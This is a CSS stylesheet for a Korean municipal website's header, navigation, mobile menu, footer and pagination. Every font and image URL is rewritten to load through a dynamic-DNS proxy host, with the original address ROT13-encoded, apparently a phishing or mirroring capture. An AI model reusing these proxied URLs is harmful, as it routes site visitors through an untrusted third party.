@charset "utf-8";
@import url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Ssbagf.tbbtyrncvf.pbz%2Spff2%3Ssnzvyl%3QAbgb%2OFnaf%2OXE%3Njtug%40300%3O400%3O500%3O700%26snzvyl%3QEhovx%3Njtug%40300%3O400%3O500%3O700%26qvfcynl%3Qfjnc');

@font-face {
    font-family: 'NanumSquareRoundB';
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Ssbag%2SAnahzFdhnerEbhaqO.ggs') format('truetype');
}

@font-face {
    font-family: 'NanumSquareB';
    src: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Ssbag%2SAnahzFdhnerO.ggs') format('truetype');
}

body {font-family: 'NanumSquareRoundB', "Noto Sans KR", sans-serif !important;}

/*body {
  font-family: 'Rubik', 'Noto Sans KR', sans-serif;
}*/


#wrap {width:100%;}


/************************* header *************************/
#header{position: fixed; width: 100%;height: 195px;z-index: 100;}
#header.scroll {background:#001a52; height:80px;}
.header_c{height: 45px;max-width:1350px;margin: 0 auto;padding: 0 0.8%;box-sizing: border-box;width: 90%;min-height: 40px;}
.header_c1{height: 110px;width:100%;box-sizing: border-box;background:rgba(0,0,0,0.3);min-height: 60px;}
.header_c_anysite{height:100%;width:100%;display: flex;justify-content: space-between;align-items: center;} 
.header_c1_logo {height: 100%;max-width:1350px;margin: 0 auto;box-sizing: border-box;width: 100%;}
.header_c1_logo h1 { height: 100%;}
.anysite{width: 390px; box-sizing:border-box;height: 100%;}
.m_logo {display:none;}
#header .m_logo .logo_color {display:none;}
#header.scroll .m_logo .logo_white {display:none;}
#header.scroll .m_logo .logo_color {display:inline-flex;}

.anysite a:nth-child(1) {display: inline-block;	width: 178px;	height: 100%;	box-sizing: border-box;	position: relative;	font-weight:500; }
.anysite a:nth-child(2) {display: inline-block;	width: 200px;	height: 100%;	box-sizing: border-box;	position: relative;	font-weight:500;}
.anysite a:nth-child(1) h2 {position: absolute;	top: 50%;	left: 50%;	width: 90%;	transform: translate(-50%, -50%);	border-right: 1px solid #fff;	font-size: 1.23em;	font-weight:500; color: #3fdc0c;}
.anysite a:nth-child(2) h2 {position: absolute;	top: 50%;	left: 50%;	width: 95%;	transform: translate(-50%, -50%);	color: #dcaf0c;	font-size: 1.23em;		font-weight:500;}
.header_c_login {position:relative; width: auto;	height: 100%; padding-right:100px;}
.header_c_login a{display:inline-block;width: 100px;	height: 100%;color:#fff;position:relative}
.header_c_login a span{display: inline-block;position: absolute;top: 50%;left: 50%;	transform: translate(-50%, -50%); text-align:center;}
.header_c_login a.search_button {width:120px; background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Svzntrf%2Sgbc_frnepu.cat'); background-position:left 12px center; background-repeat:no-repeat;}
#clild1{border-right: 1px solid #fff;width: 100%;font-size: 1.29em; font-weight:300;}
#clild2{width: 100%;font-size: 1.29em;  font-weight:300;}
#clild3{ width:100%; padding: 0; font-size:1.29em; border-left:1px solid #fff; text-indent:20px;  font-weight:300;}
.header_c_login button{width: 65px;	height: 30px;}
.logo{width: 100%;height: 100%;position: relative;}
.logo a{display:inline-flex;width: 100%;height: 100%;align-items: center;justify-content: center;}
.logo_text {position:absolute; left:-9999px; top:-9999px; }


.pc_lang {position:absolute; right:0; top:4px; width:80px; }
.pc_lang .selec_lang {display: block;
    width: 100%;
    text-align: center;
    font-size: 1.29em;
    background: #807972;
    padding: 5px 14px;
    border-radius: 6px;
    font-weight: 300;
}

.pc_lang .lang_list {display:none; position:absolute; right:0; top:42px; width:80px; background:#fff;  border-radius:6px; z-index:3; overflow:hidden;}
.pc_lang .lang_list.on {display:block;}
.pc_lang .lang_list li {}
.pc_lang .lang_list li a {display:block; width:100%; text-align:center; font-size:1.15em; padding:5px 0; border-bottom:1px solid #ddd; color:#333;}
.pc_lang .lang_list li a:hover {background:#333; color:#fff;}
.pc_lang .lang_list li.last a {border-bottom:0;}


/*search*/
.search_box {position:fixed; top:0; width:100%; height:100%; background:rgba(0,0,0,0.7); z-index:1000;}
.search_box_wrap {position:fixed; top:50%; left:50%; transform:translate(-50%,-60%); width:90%; max-width:800px; padding:0; background:transparent; padding:20px 0 20px; margin:0;}
.sidebar-search {width:100%;}
.search_area {width:90%; box-sizing:border-box; overflow:hidden; clear:both; margin:0 auto; border-radius:100px; background:#fff;}
.search_area dt {width:80%; font-size:1.29em; float:left; line-height:2.2; padding:10px 15px 10px 30px; box-sizing:border-box;}
.search_area dt input {width:100%; height:100%; border:none; font-size:1em; padding:10px 0;}
.search_area dt input:focus, .search_area dd input:active {outline:none;}
.search_area dt input::placeholder {  color: #ccc; text-align:left;}
.search_area dd {float:right; margin:9px 20px 0 0;}
.search_area .btn.btn-white {border:none; background:none; box-shadow:none; padding:0; width:30px; height:40px; background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Svzntrf%2Sfrnepu_obk_vpba.cat'); background-position:center center; background-repeat:no-repeat; background-size:contain;}
.search_close {position:relative; width:50px; height:50px; display:block; box-sizing:border-box; float:right; margin-bottom:50px;}
.search_close:before {position:absolute; left:0; top:24px; width:100%; height:1px; transform:rotate(45deg); display:block; content:""; background:#fff;}
.search_close:after {position:absolute; left:0; top:24px; width:100%; height:1px; transform:rotate(-45deg); display:block; content:""; background:#fff;}
.logo .mSearch {display:none; position:absolute; right:55px; top:50%; transform:translateY(-50%); height:25px; width:30px;  background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Svzntrf%2Sz_frnepu_obk_vpba_juvgr.cat'); background-position:center center; background-repeat:no-repeat; background-size:contain;}


#header.scroll .header_c1 {display:none;}
/*#header.scroll .anysite a:nth-child(1) h2 {color:#666; border-right:1px solid #ddd;}*/
#header.scroll #clild1 {border-right:1px solid #ddd; color:#666;}
#header.scroll #clild2 {color:#fff; color:#666;}
#header.scroll .header_c {display:none;}
#header.scroll .logo .mSearch {background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Svzntrf%2Sz_frnepu_obk_vpba.cat');}


/*메인일때_header*/
#header.scroll.main {height:195px; background:none;}
#header.scroll.main .header_c {display:block;}
#header.scroll.main .header_c1 {display:block;}
#header.scroll.main .nav {background: rgba(0,0,0,0.3);}
#header.scroll.main nav > ul > li {height:40px;}
#header.scroll.main .nav_bg {top:40px; background:rgb(37, 65, 125, 0.7);}
/*#header.scroll.main .anysite a:nth-child(1) h2 {color:#fff; border-right:1px solid #fff;}*/
#header.scroll.main #clild1 {border-right:1px solid #fff; color:#fff;}
#header.scroll.main #clild2 {color:#fff;}
#header.scroll.main nav ul li a span {color:#fff;}




/*PC메뉴*/
.nav{background: rgba(0,0,0,0.3); position: relative;}
nav{max-width:1350px;margin: 0 auto;}
.nav_ul{display: flex;width: 72.8%;margin:0 auto;text-align: center;} 
nav ul li{width: 25%;height: 40px; position: relative;}
nav ul li a{display:block;width: 100%;position: relative;height: 100%;}
nav ul li a span {position: absolute;	top: 50%;	left: 50%;	transform: translate(-50%, -50%);	line-height:1.2; width: 100%;	border-left: 2px solid #545454;	color: #fff;	font-size: 1.29em;		font-weight:400; font-family: 'NanumSquareRoundR', "Noto Sans KR", sans-serif !important;}
nav ul li:last-child a span{border-right:2px solid #545454;} 
nav ul li a span.on{color:#1178b5; font-family: 'NanumSquareRoundB', "Noto Sans KR", sans-serif !important;} 
nav .nav_ul_bg{	position: absolute;	padding: 10px 0px;	left: 0px;	width: 100%;	height: 300px;	transition: all .3s ease;	opacity: 0;    visibility: hidden;    overflow: hidden;	box-sizing: border-box;	z-index: 100;}
.nav_bg{position: absolute;	padding: 10px 0px;		left: 0px;		width: 100%;	height: 300px;	background:rgba(37, 65, 125, 0.7);	transition: all .3s ease;	opacity: 0;	visibility: hidden;		overflow: hidden;	box-sizing: border-box;	top: 40px;	z-index: 50;}
nav:hover ~ .nav_bg{opacity: 1;	visibility: visible;overflow: visible;}
nav:hover .nav_ul_bg{	opacity: 1;	visibility: visible;overflow: visible;}
nav ul li ul:hover{	background: #112756;}
nav ul li ul li{display: block;	width: 100%;	line-height: 40px;}
nav ul li ul li a {	color : #fff;	font-size:1.15em;	position:relative;}
nav ul li ul li a:before {	position:absolute;	left:50%;	bottom:5px;	display:block;	width:0%;height:1px;	content:"";	background:#8299a7;	transform:translateX(-50%);}
nav ul li ul li a:hover {color:#fff;text-decoration:none;}
nav ul li ul li a:hover:before {width:80%; }

nav ul li ul li::before{	display: none;}

#header.scroll .nav {background:none;}
#header.scroll .nav_bg { background:rgb(37, 65, 125); top:80px;}
#header.scroll nav > ul > li {height:80px;}
#header.scroll nav ul li a span {color:#fff; border-color:#697590;}


.sound_only{display: inline-block !important;	position: absolute;	top: 0;	left: 0;	width: 0;	height: 0;	margin: 0 !important;	padding: 0 !important;	font-size: 0;	line-height: 0;	border: 0 !important;
	overflow: hidden !important;}
.gnb_menu_btn {	cursor: pointer;	float: right;	position: relative;	top: 29px;	right: 20px;	border: solid 0px;	background: transparent;}
.logo .mMenu_open {display:none; width:30px;  position:absolute; right:15px; z-index:100; top:50%; transform:translateY(-50%); height:25px;}
.logo .mMenu_open span {width:100%; height:2px; background:#fff; display:block; margin-bottom:9px;}
.logo .mMenu_open span:last-child {margin-bottom:0;}
#header.scroll .logo .mMenu_open span {background:#333;}
.page_second .fourth_container .sub_body .fourth_content .title2 {padding-top: 126px;}

@media (max-width: 1450px) {
	.page_second .fourth_container .sub_body .fourth_content .title2 {padding-top: 65px;}
	
}
/*모바일 메뉴*/
.gnb_back {
    background: rgba(0,0,0,0.5);
    width: 100%;
    height: 100%;
    position: fixed;
    left: 0;
    top: 0;
	display:none;
}
#header.scroll .gnb {height:100%; padding-top:25px;}
#header.scroll.on .gnb {height:100%; transition:0.3s all ease;}
#header.on .gnb {height:100%; transition:0.3s all ease;}

#header .gnb {position:fixed; right:-150%; top:0; height:100%; z-index:101; padding-top:25px; overflow-y:auto; left:auto; background:#fff; width:320px; transition:0.5s all ease;}
#header .gnb:before {display:none;}
#header.open .gnb {right:0;  transition:0.5s all ease;}

#header .gnb > ul {display:block; margin:0;}
#header .gnb > ul li.m_shopping {display:block;}	
#header .gnb > ul li {float:none; width:100%; border-top:1px solid #ddd; }
#header .gnb > ul li.on {background:#112756;  color:#fff;}
#header .gnb > ul li.on > a {color:#fff; text-decoration:none;}
#header .gnb > ul li > a {position:relative; display:block; padding:10px 20px; text-align:left; font-size:1.36em; line-height:1.8; text-decoration:none; color:inherit; transition:0.2s all ease;}
#header .gnb > ul li > a:before {position:absolute; right:20px; left:auto; top:50%; margin-top:-1px; width:20px; height:1px; background:#b7b7b7; content:""; display:block;}
#header .gnb > ul li > a:after {position:absolute; right:20px; top:50%; margin-top:-1px; width:20px; height:1px; background:#b7b7b7; content:""; display:block; transform:rotate(90deg); transition:0.2s all ease;}
#header .gnb > ul li.last > a:after {position:absolute; right:20px; top:50%; margin-top:-1px; width:20px; height:1px; background:#b7b7b7; content:""; display:block; transform:rotate(90deg); transition:0.2s all ease;}
#header .gnb > ul li.on > a:before {background:#fff; transition:0.2s all ease;}	
#header .gnb > ul li.on > a:after {background:#fff; transform:rotate(0deg); transition:0.2s all ease;}
#header .gnb > ul li.m_shopping > a:before { background:#fff;}
#header .gnb > ul li.m_shopping > a:after {background:#fff;}
#header .gnb > ul li > dl {height:auto; display:none; border-top:1px solid #ddd; background:#f3f3f3;}
#header .gnb > ul li > dl:before {display:none;}
#header .gnb > ul li:hover > dl:before {height:0;}
#header .gnb > ul li > dl dd > a {display:block; text-align:left; padding:12px 20px; color:#666; font-size:1.2em;}
#header .gnb > ul li > dl dt {position:absolute; left:-9999px; top:-9999px;}
#header .gnb > ul li:hover > dl a {color:#666; transition:0.2s all ease;}
#header .gnb > ul li > dl a:hover {color:#666;background:#fff;}

.m_topunit {display:block;}
.m_topunit .member {width:100%; box-sizing:border-box; overflow:hidden; clear:both; padding:0 15px;}
.m_topunit .member li {float:left; width:30%; margin-right:20px;}	
.m_topunit .member li a {display:block; width:100%; height:100%; font-size:1em;box-sizing:border-box;  padding:5px 0; text-align:center; border-radius:7px; color:#333; line-height:1.5;}	
.m_topunit .member li a.m_login {border:1px solid #333;}
.m_topunit .member li a.m_register {background:#333; color:#fff;}
.m_topunit .lang {width:100%; box-sizing:border-box; overflow:hidden; clear:both; margin-top:17px; border-top:1px solid #ddd;}
.m_topunit .lang li {float:left; box-sizing:border-box; width:25%;}
.m_topunit .lang li a {display:block; width:100%; height:100%; padding:10px 0; font-size:1.1em; border-right:1px solid #ddd; line-height:1.5; text-align:center;}	
.m_topunit .lang li:last-child a {border-right:none;}
.m_topunit .lang li.on a {background:#112756; color:#fff;} 

.mMenu_close {display:none; width:30px;  position:absolute; right:15px; z-index:102; top:30px;}
.mMenu_close span {width:100%; height:2px; background:#333; display:block; margin-bottom:7px;}
.mMenu_close span.two {display:none;}
.mMenu_close span.one {transform:rotate(45deg); margin-top:5px;}
.mMenu_close span.three {transform:rotate(135deg); margin-top:-9px;}

.m_anysite {width:100%; padding:0 15px; margin-top:30px;}
.m_anysite a {display:block; width:100%; font-size:1.29em; color:#fff; border-radius:10px; padding:25px 20px; position:relative; background-size:cover; background-repeat:no-repeat; background-position:center right; text-decoration:none;}
.m_anysite a:before {position: absolute; right: 25px; top: 50%; margin-top: -6px; content: ""; display: block; width: 12px; height: 12px; border-top: 1px solid #fff; border-right: 1px solid #fff; transform: rotate(45deg); }
.m_anysite a.natural {background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Spff%2S..%2Svzntrf%2Sz_angheny.wct'); margin-bottom:10px; }
.m_anysite a.doja {background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Spff%2S..%2Svzntrf%2Sz_qbwn.wct');}
.m_anysite a.ocean {background-image:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Spff%2S..%2Svzntrf%2Sz_bprna.wct');}


#header.scroll .gnb > ul li > a {text-decoration:none;}





/*로딩페이지*/
.loading {width:100%; height:100%; position:fixed; left:0; top:0; background:#fff; z-index:101;}
.loading_text {position:relative; top: 43%; top: -webkit-calc(50% - 20px); top: calc(50% - 20px); text-align:center; font-size:1.41em;}
@keyframes pulse {
	  from { opacity: 1; transform: scale(1);}
	  to {  opacity: .25;  transform: scale(.75); }
	}

.spinner-box { position: relative;top: 45%; top: -webkit-calc(50% - 10px); top: calc(50% - 10px); left: 0; display: flex; justify-content: center; align-items: center; background-color: transparent;}

.pulse-container { width: 120px; display: flex; justify-content: space-between; align-items: center;}
.pulse-bubble { width: 20px; height: 20px; border-radius: 50%; background-color: #333;}

.pulse-bubble-1 {  animation: pulse .5s ease 0s infinite alternate;}
.pulse-bubble-2 {  animation: pulse .5s ease .3s infinite alternate;}
.pulse-bubble-3 {  animation: pulse .5s ease .5s infinite alternate;}















/************************* footer *************************/
/*footer*/
#footer{width: 100%;height: auto; padding:10px 0; position: relative;     background: url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Spff%2S..%2Svzntrf%2Ssbbgre.cat');   background-position: center;   background-size: cover;   z-index: 10;}
.ft{height: 100%;max-width: 1350px;width: 90%;min-width: 250px;min-height: 150px;margin: 0 auto;}
.foot_fixed_c_r {height:100%;	width: 90%;	max-width: 1350px;	margin:0 auto;	background: rgba(0, 0, 0, 0.5);	max-height: 70px;}


.footer_container{height: 100%;	max-width: 1350px;	margin: 0 auto;	width: 100%;	display: flex;	align-items: center;	justify-content: space-between;}
.footer_content1{display: flex;justify-content: center;align-items: center;}
.footer_content2{color:white;line-height: 27px; text-align: left;}
.footer_content2 p{text-align: left;font-size: 15px; font-weight:500; position:relative; top:15px;}
.footer_content2 span{font-size:1.29em; line-height:1.665; position: relative;	top: 15px;}
.footer_content2 span:first-child{padding-right:10px;border-right:1px solid white; color: #00ffde;	cursor: pointer;}
.footer_content2 span:nth-child(2){padding-left:10px; cursor: pointer;}
.footer_content3 {border: 2px solid white;	padding: 10px 5px;	color: white;	text-align: center;	line-height: 20px; font-size:1.15em;}


.foot_family {position:relative; bottom:-20px;}
.foot_family .family_tit {width:72px; height:72px; border:2px solid #fff; text-align:center; font-size:1.15em; padding:12px 5px; color:#fff; cursor:pointer;}
.foot_family ul {position:absolute; right:71px; bottom:0; border:1px solid #ddd; display:none;}
.foot_family ul li {}
.foot_family ul li a {display:block; width:100%; height:100%; font-size:1.15em; background:#fff; color:#666; padding:7px 5px;}
.foot_family ul li a:hover {background:#e0e0e0;}
ul.foot_menu {}
ul.foot_menu li {display:inline-block;}
ul.foot_menu li a {position:relative; display:block; padding:0 19px; color:#fff; font-size:1.29em;}
ul.foot_menu li a:before {position:absolute; left:0; top:3px; content:""; display:block; width:2px; height:16px; background:#fff;}
ul.foot_menu li a:hover {color:#fff; text-decoration:underline;}
ul.foot_menu li.first a {padding:0 21px 0 0;}
ul.foot_menu li.privacy a {color:#03edcd; font-weight:700; padding-left:0;}
ul.foot_menu li.privacy a:before {display:none;}



/* #footer::after {
	clear: both; content: ""; display: block; padding-bottom: 15px;
}
#footer .footer_in::after {
	clear: both; content: ""; display: block;
}
#footer {width:100%; box-sizing:border-box; background:#212b31; padding: 20px;}
#footer .foot_menu {width:1500px; margin: 0 auto; box-sizing:border-box; border-bottom:1px solid #687585;}
#footer .foot_menu ul {width:100%; max-width:1200px; margin:0 auto; padding:16px 0;}
#footer .foot_menu ul li {display:inline-block;}
#footer .foot_menu ul li a {position:relative; display:block; padding:0 21px; color:#cbced3; font-size:1em;}
#footer .foot_menu ul li a:before {position:absolute; right:0; top:6px; content:""; display:block; width:1px; height:11px; background:#687585;}
#footer .foot_menu ul li a:hover {color:#fff; text-decoration:underline;}
#footer .foot_menu ul li.privacy a {padding:0 21px 0 0;}
#footer .foot_menu ul li.privacy a {color:#fff; font-weight:700;}
#footer .foot_menu ul li.first a:before {display:none;}
#footer .footer_in {width:100%; max-width:1500px; margin:0 auto; padding:30px 0 36px; display: flex;}
#footer .footer_in .foot_text {font-size:1em;}
#footer .footer_in .foot_text span {color:#cbced3; font-size:0.97em; word-break: keep-all;}
#footer .footer_in span.copyright {margin-top:48px; color: #616a75; font-size:0.8em; word-break: keep-all;}

#footer .footer_in a,
#footer .footer_in p,
#footer .footer_in ul {
	float: left;
}
#footer .footer_in a {
	padding-right: 15px;
}
#footer .footer_in p {
	padding: 4px 10px 0 0;
}
#footer .footer_in ul > li {
	float: left;
    width: 150px;
    height: 50px;
	text-align: center;
}
#footer .footer_in ul > li:first-child {
	background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Spff%2S..%2Svzntrf%2Sfvpurat-0.cat") center center no-repeat;
	transition: 0.2s all ease;
	margin-right: 10px;
}
#footer .footer_in ul > li:first-child:hover {
	background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Spff%2S..%2Svzntrf%2Sfvpurat-1.cat") center center no-repeat;
    transition: 0.2s all ease;
	cursor: pointer;
}
#footer .footer_in ul > li:last-child {
	background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Spff%2S..%2Svzntrf%2Szbxcb_geniyr-0.cat") center center no-repeat;
	transition: 0.2s all ease;
}
#footer .footer_in ul > li:last-child:hover {
	background: url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Spff%2S..%2Svzntrf%2Szbxcb_geniyr-1.cat") center center no-repeat;
    transition: 0.2s all ease;
	cursor: pointer;
}

.footer_content {
	font-size: 1.5em;
	width: 800px;
}

 .footer_content a:nth-child(1){
	color: #fff;
} 
 */
/* footer - family site */
/* .foot_family {
	display:none;
	width: 100%;
	height: 60px;
	background: rgba(10, 158, 227, 0.404);
}
.foot_family ul {
	width: 1200px;
	margin: 0 auto;
}
.foot_family ul > li {
	float: left;
	width: 33.3%;
	text-align: center;
	line-height: 60px;
}
.foot_family ul > li > a {
	color: #fff;
	font-size: 1.2em;
	position: relative;
	display: block;
}
.foot_family ul li.on {
	background: rgba(10, 158, 227, 0.404);
}
.foot_family ul > li > a::after {
    position: absolute;
    right: 90px;
    top: 50%;
	transform: translateY(-50%);
    display: block;
    content: "";
    background: no-repeat center/60% url("http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Spff%2S..%2Svzntrf%2Sss_zbir_neebj.cat");
    transition: 0.3s all ease;
	border: 1px solid #fff;
	border-radius: 50%;
	padding: 10px;
}
.foot_family ul > li > a:hover:after {right: 80px; transition:0.2s all ease;}

 */



@media (max-width: 1350px){


	.header_c{	display:none;}

	nav{display: none;}
	
	#header{ height: 70px; }
	#header.scroll {height:70px; background:#fff; border-bottom:1px solid #ddd;}
	#header.scroll .header_c1 {display:block;} 
	.header_c1{height: 100%;	background:rgba(255,255,255,0);}
	.header_c_login{	display: none;	}
	.header_c1_logo {height:100%;}
	.header_c1_logo .logo {padding:10px 0;}
	.header_c1_logo h1 {display: inline-flex;}
	.header_c1_logo h1.pc_logo {display:none;}
	.header_c1_logo h1.m_logo {display:inline-flex; padding-left:10px; height:100%;}
	.header_c1_logo h1.m_logo img {height:100%;}
	
	


	.anysite{width: 100%; display: none; text-align: center; justify-content: space-between;}
	.anysite a:nth-child(1){width: 50%;	}
	.anysite a:nth-child(2){width: 50%;	}
	.anysite a:nth-child(1) h2{	font-size: max(2.4vw, 0.8em); width: 100%;	}
	.anysite a:nth-child(2) h2{	font-size: max(2.4vw, 0.8em);}
	.logo a{	margin:0;	width: auto;}
	.logo .mMenu_open {display:block; width:30px;}
	.logo .mSearch {display:inline-flex;}
	.mMenu_close {display:block;}



	/*메인_header*/
	#header.scroll.main {height:70px; background:#fff; border-bottom:1px solid #ddd;}
	#header.scroll.main .header_c {display:none;}
	

}



/* 모바일 1200px*/
@media all and (max-width:1200px){
	/* footer */
	#footer .foot_menu ul {padding:16px 15px; box-sizing:border-box;}
	#footer .foot_menu ul li a {padding:0 10px;}
	#footer .foot_menu ul li.first a {padding:0 10px;}

	#footer .footer_in {padding:30px 15px 36px; box-sizing:border-box;}
	#footer .foot_menu {
		width: 100%;
	}
	.foot_family {
		height: 100%;
	}
	.foot_family ul{
		width: 100%;
	}
	.foot_family ul > li {
		float: none;
		width: 100%;
	}
	.foot_family ul > li:not(:last-child) {
		border-bottom: 1px solid #ddd;
	}

}

@media screen and (max-width: 1200px){
	.d_contents_padding {
		padding: 0px 10px ;
	}
}


@media all and (max-width: 1100px){
	.footer_content2{text-align: center; 	}
	.footer_container{   flex-direction: column;	justify-content: space-around;	}
	.footer_content1{	padding: 10px; margin-bottom:-15px;	}
	.footer_content1 img:nth-child(1){	width: 40vw;	max-width: 300px; }
	.footer_content1 img:nth-child(2){	width: 50vw;	max-width: 170px;	top: -5px; }
	.footer_content3{	display: none;	}
	.foot_family {display:none;}
	.footer_content2 a:first-child{	padding-right: 15px;	font-size: 15px;   position: relative;   top: -10px;}
	.footer_content2 a:nth-child(2){	padding-left: 15px;	font-size: 15px;   position: relative;   top: -10px;}
	.footer_content2 p{	font-size: 10px;   line-height: 13px; margin-top:5px; 	}

}


/* 모바일 998px */
@media all and (max-width:998px){
	
	#footer .footer_in a {
		padding-bottom: 20px;
	}
	#footer .footer_in p {
		padding-bottom: 10px;
	}
}



/* 모바일 768px */
@media screen and (max-width: 768px) {			

	
	
}

@media (max-width:500px){
    .footer_content2 span{font-size:13px;}
}



/* 모바일 480px */
@media screen and (max-width: 480px) {	
	
	

}



/* 모바일 360px */
@media screen and (max-width: 360px) {	

	
}



.bs_table{ border-top:2px solid #313131;}
.bs_table table{}
.bs_table table th{ padding:15px 10px; background:#f9f9fb; font-weight:bold; border-bottom: 1px solid #dadada; vertical-align:middle; font-size:15px; text-align:center; text-align:center;}
.bs_table table td{ font-size:15px; background:#fff; padding:15px 10px; line-height:20px; border-bottom:1px solid #dadada; border-left:1px solid #dadada; vertical-align:middle;}
.bs_table table .t_center{ text-align:center;}
.bs_table table td a{ display:block; font-size:15px; color:#363c48; font-weight:bold;}
.bs_table table td a:hover{ text-decoration:underline;}
.bs_table table td dl{ margin:0;}
.bs_table table td dl dt{ margin:0 0 8px 0;}
.bs_table table td dl dd{}
.bs_table table td dl dd span{ color:#666; margin:0 10px 0 0; padding:0 10px 0 0; border-right:1px solid #dadada; letter-spacing:-1px;}
.bs_table table td dl dd span.last{ border:none;}


/* 페이징 */
.pg_wrap {clear:both;margin:30px 0 ;text-align:center;display: block;    width: 100%;float: none;}
.pg_wrap:after {display:block;visibility:hidden;clear:both;content:""} 
.pg {}
.pg_page, .pg_current {display:inline-block;vertical-align:middle;border:1px solid #bbbcc3}
.pg a:focus, .pg a:hover {text-decoration:none}
.pg_page {color:#555;font-size:13px;height:37px;line-height: 36px!important;padding:0 5px;min-width:37px;text-decoration:none;border-radius:0px;background: #fff;}
.pg_page:hover{background-color:#ddd}
.pg_start {text-indent:-999px;overflow:hidden;background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Svzt%2Scntvat1.cat') no-repeat ;padding:0;border:1px solid #bbb;}
.pg_prev {text-indent:-999px;overflow:hidden;background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Svzt%2Scntvat2.cat') no-repeat ;padding:0;border:1px solid #bbb}
.pg_end {text-indent:-999px;overflow:hidden;background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Svzt%2Scntvat4.cat') no-repeat ;padding:0;border:1px solid #bbb}
.pg_next {text-indent:-999px;overflow:hidden;background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Svzt%2Scntvat3.cat') no-repeat ;padding:0;border:1px solid #bbb}
.pg_start:hover,.pg_prev:hover,.pg_end:hover,.pg_next:hover{background-color:#fafafa}

.pg_current {
    color: #fff;
    font-size: 13px;
    height: 37px;
    line-height: 36px!important;
    padding: 0 5px;
    min-width: 37px;
    text-decoration: none;
    border-radius: 0px;
    background: #555;
    border-color: #555;
}

/* 다음주소 레이어 */
#add_layer{
	display: none;
    position: fixed;
    overflow: hidden;
    z-index: 1;
    width: 600px;
    height: 600px;
    border: 1px solid;
    left: 479px;
    top: 111.5px;
    z-index: 999;
}

div.bo_fix {
    position: absolute;
    bottom: 160px;
}

aside .white li{
	color: rgb(84, 54, 27); background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Svzntrf%2Ssnibe_ot.cat); background-position: center center;
} 

aside .white li.on{
	color: rgb(255, 255, 255); background-image: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Szzfz.zbxcb.tb.xe%2Svzntrf%2Ssnibe_otnsgre.cat); background-position: center center;
}